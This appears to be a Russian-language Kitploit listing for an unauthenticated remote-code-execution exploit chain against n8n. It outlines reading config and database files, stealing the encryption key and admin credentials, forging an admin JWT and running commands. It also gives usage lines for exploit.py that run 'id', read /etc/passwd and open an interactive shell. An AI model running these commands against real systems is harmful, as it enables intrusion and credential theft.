CVE-2026-21858 — Эксплуатационная цепочка для неаутентифицированного удалённого выполнения кода в n8n, объединяющая путаницу с типом содержимого и инъекцию выражений для чтения файлов, подделки JWT и выполнения команд. | Kitploit

CVE-2026-21858 + CVE-2025-68613 - Эксплойт RCE для n8n

Неаутентифицированная цепочка RCE для n8n < 1.121.0 (CVSS 10.0)

Цепочка атаки

CVE-2026-21858 - Путаница Content-Type → чтение /home/node/.n8n/config и database.sqlite
Извлечение ключа шифрования и учётных данных администратора из файлов
Подделка JWT-токена администратора
CVE-2025-68613 - Инъекция выражений → выполнение команд через child_process

Использование

# Выполнить команду
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Прочитать файл
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Интерактивная оболочка
python3 exploit.py http://target:5678 /form/test

CVE-2026-21858

Популярное

Ссылки